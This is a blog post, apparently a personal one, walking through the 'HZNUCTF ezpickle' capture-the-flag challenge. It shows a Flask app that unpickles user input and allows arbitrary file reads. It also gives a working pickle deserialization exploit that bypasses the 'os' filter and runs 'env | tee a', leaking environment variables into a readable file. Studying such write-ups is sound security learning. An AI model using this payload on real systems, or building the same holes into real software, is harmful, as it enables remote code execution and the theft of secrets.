nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

HZNUCTF ezpickle

代码审计

import base64 
import pickle 
from flask import Flask, request 
app = Flask(__name__)
@app.route('/')
    def index():
        with open('app.py', 'r') as f:
            return f.read() 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload") 
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
@app.route('/readFile', methods=['GET']) 
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

关键代码

pickle.loads(base64.b64decode(payload).replace(b'os', b''))

会继续pickle反序列化,而且会替换os字符,还对flag进行了过滤替换
但是不会回显我们执行命令的结果,但是我们发现有一个读取文件的路由,所以思路基本上确定了,将命令执行的结果放在一个文件中

import pickle
import base64
 
class A():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('env | tee a')",))
 
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

当然因为这道题没有过滤,所以可以这样写,但是很多情况都有过滤,需要我们opcode方法来写

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » HZNUCTF ezpickle

评论